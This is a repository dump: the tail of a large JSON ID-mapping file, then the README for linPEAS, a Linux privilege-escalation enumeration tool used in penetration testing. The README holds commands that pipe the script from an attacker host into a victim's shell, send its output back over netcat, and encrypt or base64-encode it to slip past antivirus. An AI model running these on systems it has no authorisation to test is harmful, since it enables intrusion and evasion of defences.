0689"],"4550927":["4540681"],"4550929":["4540670"],"4550930":["4540693"],"4550951":["4541506"],"4550961":["4541509"],"4550964":["4540688"],"4551762":["4540673"],"4551853":["4549949"],"4552926":["4537477"],"4552928":["4537478"],"4552929":["4537479"],"4552931":["4537572"],"4556399":["4533095","4535102"],"4556400":["4538123","4538157"],"4556401":["4538124","4538158"],"4556402":["4533098","4535105"],"4556441":["4538156"],"4556798":["4550905"],"4556799":["4549951"],"4556807":["4550922"],"4556812":["4550927"],"4556813":["4550929"],"4556826":["4550930"],"4556836":["4550964"],"4556840":["4550917"],"4556846":["4550961"],"4556860":["4550951"],"4558998":["4561608"],"4560960":["4556799"],"4561600":["4537759"],"4561602":["4556812"],"4561603":["4556798"],"4561608":["4551853"],"4561612":["4556840"],"4561616":["4556813"],"4561621":["4556807"],"4561643":["4556836"],"4561649":["4556826"],"4561666":["4556846"],"4561670":["4556860"],"4565349":["4558998"],"4565351":["4565483"],"4565479":["4561603"],"4565483":["4560960"],"4565489":["4561621"],"4565503":["4557957"],"4565508":["4561602"],"4565511":["4561616"],"4565513":["4561649"],"4565524":["4561643"],"4565536":["4561670"],"4565537":["4561612"],"4565541":["4561666"],"4566782":["4565503"],"4569745":["4567327"],"4569751":["4562900"],"4570333":["4565349"],"4570505":["4567327"],"4570506":["4566517"],"4570507":["4566518"],"4570508":["4566519"],"4570509":["4566520"],"4571687":["4565479"],"4571692":["4565513"],"4571694":["4565511"],"4571703":["4565541"],"4571709":["4565489"],"4571729":["4565524"],"4571730":["4565536"],"4571736":["4565537"],"4571741":["4565508"],"4571756":["4566782"],"4574727":["4565351"],"4577010":["4571687"],"4577015":["4571694"],"4577032":["4571709"],"4577038":["4571736"],"4577041":["4571741"],"4577049":["4571692"],"4577051":["4571729"],"4577064":["4571730"],"4577066":["4571703"],"4577668":["4570333"],"4577671":["4574727"],"4578961":["4576629"],"4578963":["4576631"],"4578968":["4576478","4576945"],"4578974":["4576484","4576947"],"4579311":["4571756"],"4579976":["4576627","4577324"],"4579977":["4576628"],"4579978":["4576629"],"4579979":["4576630"],"4579980":["4576631"],"4580325":["4561600"],"4580327":["4577049"],"4580328":["4577041"],"4580330":["4577032"],"4580345":["4577051"],"4580346":["4577015"],"4580347":["4577066"],"4580378":["4577064"],"4580382":["4577038"],"4586768":["4580326"],"4586781":["4579311"],"4586785":["4580330"],"4586786":["4577671"],"4586787":["4580327"],"4586793":["4577668"],"4586807":["4580378"],"4586827":["4580345"],"4586830":["4580346"],"4586834":["4580382"],"4586845":["4580347"],"4592438":["4586781"],"4592440":["4586793"],"4592446":["4586785"],"4592449":["4586786"],"4592464":["4586787"],"4592468":["4586834"],"4592471":["4586827"],"4592484":["4586845"],"4592498":["4586807"],"4593226":["4586830"],"4598229":["4592449"],"4598230":["4592440"],"4598231":["4592464"],"4598242":["4592438"],"4598243":["4593226"],"4598245":["4592446"],"4598278":["4592468"],"4598279":["4592471"],"4598285":["4592484"],"4598288":["4592498"],"4601050":["4578968","4586876","4598299"],"4601051":["4578969","4597247"],"4601054":["4578972","4597249"],"4601056":["4578974","4586878","4598301"],"4601315":["4598229"],"4601318":["4598243"],"4601319":["4598242"],"4601331":["4598231"],"4601345":["4598230"],"4601347":["4598279"],"4601348":["4598278"],"4601354":["4598245"],"4601360":["4598288"],"4601384":["4598285"],"4601887":["4579976","4598461","4598499"],"4603002":["4579977","4598500"],"4603003":["4579978","4598501"],"4603004":["4579979","4598502"],"4603005":["4579980","4598503"],"5000800":["4601313"],"5000802":["4601319"],"5000803":["4601318"],"5000807":["4601331"],"5000808":["4601315"],"5000809":["4601354"],"5000822":["4601345"],"5000841":["4601347"],"5000844":["4601360"],"5000847":["4601348"],"5000848":["4601384"],"5001330":["5000802"],"5001335":["5000841"],"5001337":["5000808"],"5001339":["5000809"],"5001340":["5000807"],"5001342":["5000822"],"5001347":["5000803"],"5001382":["5000848"],"5001387":["5000847"],"5001389":["5000844"],"5003165":["5000800"],"5003169":["5001337"],"5003171":["5001342"],"5003172":["5001340"],"5003173":["5001330"],"5003174":["5001339"],"5003197":["5001347"],"5003203":["5001383"],"5003208":["5001387"],"5003209":["5001382"],"5003210":["5001389"],"5003220":["5001383"],"5003225":["5001332"],"5003228":["5001392"],"5003233":["5001335"],"5003635":["5003169"],"5003636":["5003165"],"5003637":["5003173"],"5003638":["5003197"],"5003646":["5003171"],"5003661":["5003210"],"5003667":["5003233"],"5003671":["5003209"],"5003687":["5003172"],"5003697":["5003208"],"5004237":["5004945"],"5004238":["5004948"],"5004244":["5004947"],"5004245":["5004946"],"5004249":["5004950"],"5004289":["5004953"],"5004294":["5004956"],"5004298":["5004954"],"5004305":["5004955"],"5004945":["5003637"],"5004947":["5003646"],"5004948":["5003638"],"5004950":["5003638"],"5004951":["5003667"],"5004954":["5003671"],"5004955":["5003661"],"5004956":["5003697"],"5005030":["5004244"],"5005031":["5004245"],"5005033":["5004237"],"5005036":["5004233"],"5005040":["5004249"],"5005043":["5004238"],"5005076":["5004298"],"5005088":["5004289"],"5005090":["5004305"],"5005099":["5004294"],"5005563":["5005036"],"5005565":["5005033"],"5005566":["5005031"],"5005568":["5005030"],"5005569":["5005040"],"5005573":["5005043"],"5005606":["5005090"],"5005613":["5005076"],"5005623":["5005094"],"5005633":["5005088"],"5006667":["5005566"],"5006669":["5005573"],"5006670":["5005565"],"5006671":["5005563"],"5006672":["5005030","5005568"],"5006675":["5005569"],"5006699":["5005575"],"5006714":["5005613"],"5006736":["5005606"],"5006739":["5005623"],"5006743":["5005633"],"5007186":["5006670"],"5007189":["5006667"],"5007192":["5006669"],"5007205":["5006699"],"5007206":["5006672"],"5007207":["5006675"],"5007215":["5006674"],"5007236":["5006743"],"5007247":["5006714"],"5007260":["5006739"],"5007263":["5006736"],"5008206":["5007189"],"5008207":["5007192"],"5008212":["5006670","5007186"],"5008215":["5007215"],"5008218":["5007206"],"5008223":["5007205"],"5008230":["5007207"],"5008244":["5007236"],"5008263":["5007247"],"5008274":["5007263"],"5008277":["5007260"],"5008877":["4603002"],"5008879":["4578974"],"5009543":["5008212"],"5009545":["5008206"],"5009546":["5008207"],"5009555":["5008223"],"5009557":["5008218"],"5009566":["5008215"],"5009585":["5008230"],"5009586":["5008277"],"5009610":["5008244"],"5009624":["5008263"],"5009627":["5008274"],"5009711":["4578980","4578983","4601089","4601090"],"5009712":["4578978","4578982","4601091","4601093"],"5009713":["4578981","4578984","4601092","4601094"],"5009714":["4578979","4578983","4601090"],"5009718":["4578973","4579976"],"5009719":["4578952","4578955","4578963","4578977"],"5009720":["4578950","4578954","4578961","4578975"],"5009721":["4578953","4578956","4601048","4601058"],"5009722":["4578955","4578963","4579980"],"5010342":["5009543"],"5010345":["5009545"],"5010351":["5009557"],"5010354":["5009555"],"5010358":["5009585"],"5010359":["5009546"],"5010384":["5009627"],"5010386":["5009566"],"5010392":["5009586"],"5010404":["5009610"],"5010419":["5009624"],"5011485":["5010345"],"5011486":["5006671"],"5011487":["5010342"],"5011491":["5010358"],"5011493":["5010386"],"5011495":["5010359"],"5011497":["5010354"],"5011503":["5010351"],"5011534":["5010384"],"5011535":["5010392"],"5011552":["5010404"],"5011564":["5010419"],"5012117":["5008876"],"5012118":["5008877"],"5012120":["5008879"],"5012121":["5008880"],"5012123":["5008882"],"5012170":["4535680"],"5012328":["5008873","5008878"],"5012329":["5008858","5008859","5008860","5008867"],"5012330":["5008865","5008869","5008874","5008881"],"5012331":["5008870","5008875","5008883"],"5012332":["5008859","5008860","5008866"],"5012591":["5011485"],"5012592":["5011493"],"5012596":["5011495"],"5012599":["5011487"],"5012604":["5011497"],"5012626":["5011552"],"5012647":["5011503"],"5012650":["5011535"],"5012653":["5011491"],"5012658":["5011534"],"5012670":["5011564"],"5013870":["5012329"],"5013871":["5012330"],"5013872":["5012331"],"5013873":["5012332"],"5013941":["5012647"],"5013942":["5012599"],"5013943":["5012592"],"5013944":["5012604"],"5013945":["5012591"],"5013952":["5012596"],"5013963":["5012653"],"5014010":["5012658"],"5014011":["5012670"],"5014012":["5012626"],"5014017":["5012650"],"5014678":["5013944"],"5014692":["5013941"],"5014697":["5013943"],"5014699":["5013942"],"5014701":["5013945"],"5014702":["5013952"],"5014710":["5013963"],"5014738":["5014011"],"5014747":["5014017"],"5014748":["5014012"],"5014752":["5014010"],"5015807":["5014699"],"5015808":["5014702"],"5015811":["5014692"],"5015814":["5014688"],"5015827":["5014678"],"5015832":["5014710"],"5015861":["5014748"],"5015863":["5014747"],"5015866":["5014752"],"5015874":["5014738"],"5016616":["5015807"],"5016622":["5015808"],"5016623":["5015811"],"5016627":["5015827"],"5016629":["5015814"],"5016639":["5015832"],"5016669":["5015866"],"5016672":["5015863"],"5016676":["5015861"],"5016681":["5015874"],"5017305":["5016622"],"5017308":["5016616"],"5017315":["5016623"],"5017316":["5016627"],"5017327":["5016639"],"5017328":["5016629"],"5017358":["5016669"],"5017361":["5016676"],"5017367":["5016681"],"5017370":["5016672"],"5018410":["5017308"],"5018411":["5017305"],"5018418":["5017321"],"5018419":["5017315"],"5018421":["5017316"],"5018425":["5017327"],"5018450":["5017358"],"5018454":["5017361"],"5018457":["5017370"],"5018474":["5017367"],"5019081":["5018421"],"5019958":["5018413"],"5019959":["5018410"],"5019961":["5018418"],"5019964":["5018411"],"5019966":["5018419"],"5019970":["5018425"],"5019980":["5018427"],"5020000":["5018454"],"5020009":["5018457"],"5020019":["5018450"],"5020023":["5018474"],"5020614":["5013625","5018515"],"5020622":["5017271","5018341"],"5020685":["5013868","5018542"],"5020686":["5017498","5018543","5018856"],"5020687":["5017500","5018545","5018858"],"5020688":["5013870","5018547"],"5020689":["5013871","5018548"],"5020690":["5016568","5018549"],"5020691":["5013873","5018550"],"5020692":["5017501","5018551","5018860"],"5020694":["5017651","5018202"],"5020695":["5017497","5018546","5018859"],"5020801":["5017499","5018544","5018857"],"5020868":["5018549","5020690"],"5020873":["5018515","5020614"],"5020880":["5018341","5020622"],"5021085":["5018542","5020685"],"5021086":["5018543","5018856","5020686"],"5021087":["5018544","5018857","5020801"],"5021088":["5018202","5018545","5018858","5020687","5020694"],"5021090":["5018546","5018859","5020695"],"5021091":["5018548","5020689"],"5021093":["5018549","5020690"],"5021094":["5018550","5020691"],"5021095":["5018551","5018860","5020692"],"5021233":["5019959"],"5021234":["5019961"],"5021235":["5019964"],"5021237":["5019966"],"5021243":["5019970"],"5021249":["5019081"],"5021255":["5019980"],"5021285":["5020009"],"5021289":["5020019"],"5021291":["5020000"],"5021294":["5020023"],"5022282":["5021233"],"5022286":["5021237"],"5022287":["5021234"],"5022289":["5021235"],"5022291":["5021249"],"5022297":["5021243"],"5022303":["5021255"],"5022338":["5021291"],"5022340":["5021289"],"5022348":["5021285"],"5022352":["5021294"],"5022497":["5020880","5022404"],"5022503":["5018515","5020873"],"5022727":["5018543","5021086","5022474"],"5022728":["5018545","5021088","5022476"],"5022729":["5017888","5021089","5022478"],"5022730":["5018546","5021090","5022479"],"5022731":["5018547","5021091"],"5022732":["5018548","5021092"],"5022733":["5018549","5021093"],"5022734":["5018550","5021094"],"5022735":["5018551","5021095"],"5022782":["5018542","5021085"],"5022834":["5022282"],"5022835":["5019958"],"5022836":["5022287"],"5022838":["5022289"],"5022840":["5022286"],"5022842":["5022291"],"5022845":["5022303"],"5022858":["5022297"],"5022872":["5022338"],"5022890":["5022340"],"5022899":["5022352"],"5022903":["5022348"],"5023696":["5022834"],"5023697":["5022838"],"5023698":["5022836"],"5023702":["5022840"],"5023705":["5022842"],"5023706":["5022845"],"5023713":["5022858"],"5023755":["5022890"],"5023756":["5022903"],"5023765":["5022899"],"5023769":["5022874"],"5025221":["5023696"],"5025224":["5023698"],"5025228":["5023697"],"5025229":["5023702"],"5025230":["5023705"],"5025234":["5023713"],"5025239":["5023706"],"5025271":["5023755"],"5025279":["5023769"],"5025285":["5023765"],"5025287":["5023769"],"5026361":["5025221"],"5026362":["5025229"],"5026363":["5025228"],"5026366":["5022835"],"5026368":["5025224"],"5026370":["5025230"],"5026372":["5025239"],"5026382":["5025234"],"5026408":["5025271"],"5026413":["5025279"],"5026415":["5025285"],"5026419":["5025287"],"5027119":["5022497","5026515"],"5027123":["5022503"],"5027215":["5026361"],"5027219":["5026363"],"5027222":["5026362"],"5027223":["5026368"],"5027225":["5026370"],"5027230":["5026382"],"5027231":["5026372"],"5027271":["5026415"],"5027275":["5026413"],"5027279":["5026408"],"5027283":["5026419"],"5027536":["5022782"],"5027537":["5022728","5022729","5026958"],"5027538":["5022728","5022729","5026958"],"5027539":["5022730","5026959"],"5027540":["5022731"],"5027541":["5022732"],"5027542":["5022733"],"5027543":["5022731","5022734"],"5027544":["5022726","5022735"],"5028166":["5027215"],"5028167":["5026366"],"5028168":["5027222"],"5028169":["5027219"],"5028171":["5027225"],"5028182":["5027223"],"5028185":["5027231"],"5028186":["5027230"],"5028222":["5027279"],"5028228":["5027271"],"5028232":["5027283"],"5028240":["5027275"],"5029242":["5028169"],"5029243":["5028167"],"5029244":["5028166"],"5029247":["5028168"],"5029250":["5028171"],"5029253":["5028182"],"5029259":["5028186"],"5029263":["5028185"],"5029295":["5028232"],"5029296":["5028240"],"5029312":["5028228"],"5029318":["5028222"],"5029924":["5028952"],"5030178":["5029647"],"5030179":["5029648"],"5030180":["5029649"],"5030181":["5029650"],"5030182":["5029651"],"5030183":["5029652"],"5030184":["5029653"],"5030185":["5029654"],"5030186":["5029655"],"5030209":["5029243"],"5030211":["5029244"],"5030213":["5029242"],"5030214":["5029247"],"5030216":["5029250"],"5030217":["5029253"],"5030219":["5029263"],"5030220":["5029259"],"5030265":["5029296"],"5030269":["5029312"],"5030271":["5029318"],"5030278":["5029295"],"5031217":["5028948"],"5031354":["5030219"],"5031355":["5030209"],"5031356":["5030211"],"5031358":["5030217"],"5031361":["5030214"],"5031362":["5030213"],"5031364":["5030216"],"5031377":["5030220"],"5031408":["5030265"],"5031416":["5030271"],"5031419":["5030269"],"5031442":["5030278"],"5032189":["5031356"],"5032190":["5031354"],"5032191":["5031355"],"5032192":["5031358"],"5032196":["5031361"],"5032197":["5031362"],"5032198":["5031364"],"5032199":["5031377"],"5032247":["5031442"],"5032249":["5031419"],"5032252":["5031408"],"5032254":["5031416"],"5033118":["5032198"],"5033369":["5032192"],"5033371":["5032196"],"5033372":["5032189"],"5033373":["5032197"],"5033375":["5032190"],"5033376":["5032191"],"5033379":["5032199"],"5033383":["5032202"],"5033420":["5032249"],"5033422":["5032254"],"5033429":["5032247"],"5033433":["5032252"],"5034119":["5033373"],"5034120":["5033376"],"5034121":["5033369"],"5034122":["5033372"],"5034123":["5033375"],"5034127":["5033371"],"5034129":["5033118"],"5034130":["5033383"],"5034134":["5033379"],"5034169":["5033433"],"5034171":["5033420"],"5034173":["5033422"],"5034184":["5033429"],"5034763":["5034122"],"5034765":["5034123"],"5034766":["5034121"],"5034767":["5034119"],"5034768":["5034127"],"5034769":["5034130"],"5034770":["5034129"],"5034774":["5034134"],"5034795":["5034173"],"5034819":["5034171"],"5034830":["5034184"],"5034831":["5034169"],"5035845":["5034763"],"5035849":["5034768"],"5035853":["5034765"],"5035854":["5034766"],"5035855":["5034767"],"5035856":["5034769"],"5035857":["5034770"],"5035858":["5034774"],"5035885":["5034819"],"5035888":["5034831"],"5035920":["5034795"],"5035930":["5034830"],"5035959":["5034860"],"5036892":["5035845"],"5036893":["5035853"],"5036894":["5035854"],"5036896":["5035849"],"5036899":["5035855"],"5036909":["5035857"],"5036910":["5035856"],"5036925":["5035858"],"5036932":["5035920"],"5036960":["5035885"],"5036967":["5035888"],"5036969":["5035930"],"5037763":["5036899"],"5037765":["5036896"],"5037768":["5036892"],"5037770":["5036894"],"5037771":["5036893"],"5037778":["5036969"],"5037780":["5036967"],"5037781":["5036910"],"5037782":["5036909"],"5037788":["5036925"],"5037800":["5036932"],"5037823":["5036960"],"5039211":["5037768"],"5039212":["5037771"],"5039213":["5037770"],"5039214":["5037763"],"5039217":["5037765"],"5039225":["5037788"],"5039227":["5037782"],"5039236":["5037781"],"5039245":["5037800"],"5039260":["5037778"],"5039289":["5037780"],"5039294":["5037823"],"5039330":["5037848"],"5040426":["5034120"],"5040427":["5039211"],"5040430":["5039217"],"5040431":["5039213"],"5040434":["5039214"],"5040437":["5039227"],"5040438":["5039236"],"5040442":["5039212"],"5040448":["5039225"],"5040456":["5039294"],"5040485":["5039260"],"5040497":["5039289"],"5040499":["5039245"],"5041160":["5040437"],"5041571":["5040435"],"5041573":["5040438"],"5041578":["5040430"],"5041580":["5040427"],"5041585":["5040442"],"5041592":["5040431"],"5041770":["5040426"],"5041773":["5040434"],"5041782":["5040448"],"5041828":["5040456"],"5041838":["5040497"],"5041850":["5040499"],"5041851":["5040485"],"5042320":["5034441"],"5042321":["5034440"],"5042322":["5034439"],"5042881":["5041160"],"5043049":["5041770"],"5043050":["5041578"],"5043051":["5041773"],"5043055":["5041573"],"5043064":["5041580"],"5043067":["5041592"],"5043076":["5041585"],"5043083":["5041782"],"5043125":["5041851"],"5043129":["5041838"],"5043135":["5041850"],"5043138":["5041828"],"5044273":["5043064"],"5044277":["5043050"],"5044280":["5043067"],"5044281":["5042881"],"5044284":["5043080"],"5044285":["5043076"],"5044286":["5043083"],"5044288":["5043055"],"5044293":["5043051"],"5044320":["5043135"],"5044342":["5043125"],"5044343":["5043138"],"5044356":["5043129"],"5046398":["5042321"],"5046399":["5042322"],"5046400":["5042320"],"5046612":["5044293"],"5046613":["5044273"],"5046615":["5044277"],"5046616":["5044281"],"5046617":["5044284"],"5046618":["5044288"],"5046633":["5044285"],"5046661":["5044320"],"5046665":["5044286"],"5046682":["5044343"],"5046687":["5044356"],"5046697":["5044342"],"5048652":["5046613"],"5048653":["5046618"],"5048654":["5046616"],"5048661":["5046615"],"5048667":["5046617"],"5048671":["5046612"],"5048685":["5046633"],"5048695":["5046687"],"5048699":["5046697"],"5048703":["5046665"],"5048710":["5046661"],"5048735":["5046682"],"5048800":["5046698"],"5049981":["5048652"],"5049983":["5048654"],"5049984":["5048653"],"5049993":["5048671"],"5050004":["5048699"],"5050008":["5048661"],"5050009":["5048667"],"5050013":["5048703"],"5050021":["5048685"],"5050048":["5048735"],"5050049":["5048695"],"5050063":["5048710"],"5051974":["5049981"],"5051979":["5049983"],"5051980":["5049984"],"5051987":["5050009"],"5051989":["5050021"],"5052000":["5050008"],"5052006":["5049993"],"5052016":["5050049"],"5052020":["5050004"],"5052038":["5050063"],"5052040":["5050013"],"5052042":["5050048"],"5053594":["5052006"],"5053596":["5052000"],"5053598":["5051987"],"5053599":["5051980"],"5053602":["5051989"],"5053603":["5051979"],"5053606":["5051974"],"5053618":["5052040"],"5053620":["5052016"],"5053636":["5052105"],"5053638":["5052106"],"5053886":["5052020"],"5053887":["5052042"],"5053888":["5052038"],"5055518":["5053606"],"5055519":["5053596"],"5055521":["5053594"],"5055523":["5053598"],"5055526":["5053603"],"5055527":["5053599"],"5055528":["5053602"],"5055547":["5053618"],"5055557":["5053887"],"5055561":["5053620"],"5055581":["5053886"],"5055609":["5053888"],"5058379":["5055518"],"5058383":["5055521"],"5058384":["5055527"],"5058385":["5055526"],"5058387":["5055547"],"5058392":["5055519"],"5058403":["5055557"],"5058405":["5055528"],"5058411":["5055523"],"5058430":["5055561"],"5058449":["5055609"],"5058451":["5055581"],"5060118":["5058384"],"5060525":["5058500"],"5060526":["5058385"],"5060531":["5058392"],"5060533":["5058379"],"5060841":["5058497"],"5060842":["5058411"],"5060998":["5058387"],"5060999":["5058405"],"5061010":["5058383"],"5061018":["5058403"],"5061026":["5058449"],"5061059":["5058451"],"5061078":["5058430"],"5062552":["5060999"],"5062553":["5060842"],"5062554":["5060533"],"5062557":["5060531"],"5062560":["5061010"],"5062561":["5060998"],"5062570":["5060118"],"5062572":["5060526"],"5062592":["5061059"],"5062597":["5061018"],"5062624":["5061026"],"5062632":["5061078"],"5063709":["5062554"],"5063871":["5062560"],"5063875":["5062552"],"5063877":["5062557"],"5063878":["5062553"],"5063880":["5062572"],"5063888":["5062624"],"5063889":["5062561"],"5063899":["5062570"],"5063906":["5062592"],"5063947":["5062632"],"5063950":["5062597"],"5065306":["5063812"],"5065425":["5063899"],"5065426":["5063878"],"5065427":["5063871"],"5065428":["5063877"],"5065429":["5063709"],"5065430":["5063889"],"5065431":["5063875"],"5065432":["5063880"],"5065435":["5060996"],"5065468":["5063947"],"5065474":["5064010"],"5065507":["5063950"],"5065508":["5063888"],"5065509":["5063906"],"5066586":["5065428"],"5066780":["5065425"],"5066782":["5065432"],"5066791":["5065429"],"5066793":["5065431"],"5066835":["5065426"],"5066836":["5065427"],"5066837":["5065430"],"5066840":["5065435"],"5066872":["5065468"],"5066873":["5065507"],"5066874":["5065508"],"5066875":["5065509"],"5068779":["5066780"],"5068781":["5066791"],"5068787":["5066782"],"5068791":["5066586"],"5068861":["5066835"],"5068864":["5066836"],"5068865":["5066793"],"5068904":["5066872"],"5068905":["5066873"],"5068906":["5066874"],"5068907":["5066875"],"5071413":["5068840"],"5071417":["5068865"],"5071501":["5068904"],"5071503":["5068905"],"5071504":["5068906"],"5071505":["5068907"],"5071542":["5068779"],"5071543":["5068864"],"5071544":["5068791"],"5071546":["5068781"],"5071547":["5068787"],"5072014":["5068966"],"5072033":["5068861"],"5073379":["5072033"],"5073450":["5071542"],"5073455":["5071417"],"5073457":["5071547"],"5073695":["5071501"],"5073696":["5071503"],"5073697":["5071504"],"5073698":["5071505"],"5073722":["5071543"],"5073723":["5071544"],"5073724":["5071546"],"5074109":["5072033"],"5075897":["5073450"],"5075899":["5074109"],"5075906":["5073457"],"5075912":["5073724"],"5075941":["5073455"],"5075970":["5073696"],"5075971":["5073698"],"5077181":["5073379","5074109"],"5078734":["5075897"],"5078736":["5075942"],"5078737":["5075943"],"5078738":["5066840"],"5078740":["5075899"],"5078752":["5075904"],"5078766":["5075906"],"5078774":["5075970"],"5078775":["5075971"],"5078883":["5075941"],"5078885":["5075912"],"5078938":["5075999"],"5079420":["5077212"],"5079466":["5077179"],"5079473":["5077181"],"5084597":["5077212"],"952068":["944275"],"953295":["928367"],"953297":["929729"],"953298":["929729"],"954430":["936181"],"954459":["933579"],"955069":["936021"],"956572":["931784","943485","956841"],"956802":["948590"],"957097":["914389"],"958215":["956390"],"958623":["950582"],"958687":["957095"],"958690":["954211"],"958869":["938464","954593"],"959426":["935839"],"960082":["948110","948111"],"960089":["948108","948109"],"960225":["935840"],"961063":["951746"],"961064":["948745"],"961260":["958215","960714"],"961371":["908519"],"961373":["951698"],"961501":["930178"],"963027":["958215","960714"],"968537":["958690"],"968816":["923689"],"969059":["920685"],"969805":["949014","957280"],"969883":["961064"],"969897":["963027"],"969947":["968537"],"970238":["933729"],"970437":["949269"],"971032":["951071"],"971108":["947742"],"971110":["947748"],"971468":["958687"],"971486":["931784"],"971633":["951698"],"971961":["917344"],"972260":["969897"],"972270":["961371"],"972554":["952068"],"973037":["969805"],"973039":["970437"],"973346":["950760"],"973354":["951066"],"973525":["973346"],"973540":["936782"],"973869":["891781"],"974112":["954600"],"974392":["911280"],"974455":["972260"],"974571":["828028"],"975560":["971633"],"975562":["971633"],"976325":["974455"],"977165":["971486"],"977914":["971557"],"978207":["976325"],"978251":["914389","957097"],"978262":["973525"],"978338":["974145"],"978542":["951066","973354"],"978695":["968816"],"979402":["936782"],"979559":["969947"],"979683":["977165"],"979906":["953297"],"979913":["953297","972593"],"980182":["978207"],"980195":["978262"],"980232":["978251"],"980436":["960225"],"981550":["973037"],"981852":["979683"],"981957":["2160329"],"981997":["975561"],"982000":["973039"],"982214":["971468"],"982381":["980182"],"982802":["970238"],"983582":["953300"],"983583":["974417"],"983587":["974291"],"983588":["974469"],"983589":["974470"]}} ================================================ FILE: linPEAS/README.md ================================================ # LinPEAS - Linux Privilege Escalation Awesome Script ![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html)** Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)**. > **Dec 2025 update:** linpeas now inspects Linux kernels for CVE-2025-38352 (POSIX CPU timers race) by combining CONFIG_POSIX_CPU_TIMERS_TASK_WORK state with kernel build information, so you immediately know if publicly available PoCs might succeed. [![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566) ## MacPEAS Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed** ## Build your own linpeas! The latest version of linpeas allows you to **select the checks you would like your linpeas to have** and built it only with those checks! This allows to create **smaller and faster linpeas scripts** for stealth and speed purposes. Check how to **select the checks you want to build [in your own linpeas following this link.](builder)** Note that by default, in the releases pages of this repository, you will find a **linpeas with all the checks**. ## Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`: - **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. - **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. - **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash # From public github curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh ``` ```bash # Local network sudo python3 -m http.server 80 #Host curl 10.10.10.10/linpeas.sh | sh #Victim # Without curl sudo nc -q 5 -lvnp 80 < linpeas.sh #Host cat < /dev/tcp/10.10.10.10/80 | sh #Victim # Excute from memory and send output back to the host nc -lvnp 9002 | tee linpeas.out #Host curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim ``` ```bash # Output to file ./linpeas.sh -a > /dev/shm/linpeas.txt #Victim less -r /dev/shm/linpeas.txt #Read with colors ``` ```bash # Use a linpeas binary wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64 chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 ``` ## AV bypass ```bash #open-ssl encryption openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim #Base64 encoded base64 -w0 linpeas.sh > lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim ``` ## Firmware Analysis If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options. - If you **can emulate** the firmware, just run linpeas inside of it: ```bash cp /path/to/linpeas.sh /mnt/linpeas.sh chroot /mnt #Supposing you have mounted the firmware FS in /mnt bash /linpeas.sh -o software_information,interesting_files,api_keys_regex ``` - If you **cannot emulate** the firmware, use the `-f Discover hosts using fping or ping. Ex: -d 192.168.0.1/24 -p -d Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139 -i [-p ] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed Port forwarding: -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP Firmware recon: -f Execute linpeas to search passwords/file permissions misconfigs inside a folder Misc: -h To show this message -w Wait execution between big blocks of checks -L Force linpeas execution -M Force macpeas execution -q Do not show banner -N Do not use colours ``` ## Hosts Discovery and Port Scanning With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`. LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning. ![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png) ## Colors LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. - The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). - The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to privilege escalation. - The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for known good configurations (based on the name not on the content!) - The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: Users without shell & Mounted devices - The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: Users with shell - The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: Current username ## One-liner Enumerator Here you have an old linpe version script in one line, **just copy and paste it**;) **The color filtering is not available in the one-liner** (the lists are too big) This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here. The default file where all the data is stored is: */tmp/linPE* (you can change it at the beginning of the script) ```sh file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf 